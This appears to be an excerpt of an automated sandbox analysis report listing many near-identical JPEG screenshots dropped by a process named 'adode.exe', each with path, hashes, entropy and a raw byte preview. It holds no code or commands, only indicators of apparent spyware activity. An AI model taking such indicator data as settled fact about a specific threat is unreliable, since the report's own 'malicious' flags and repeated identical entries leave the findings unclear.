Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241128_174315.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241128_210933.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241129_002711.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241129_042502.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241201_110207.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241201_141024.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241201_175349.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241201_202642.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241201_225041.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241202_000045.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241202_025927.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241202_065727.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241202_101213.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241202_133531.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241202_164813.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241202_203211.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241202_225735.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
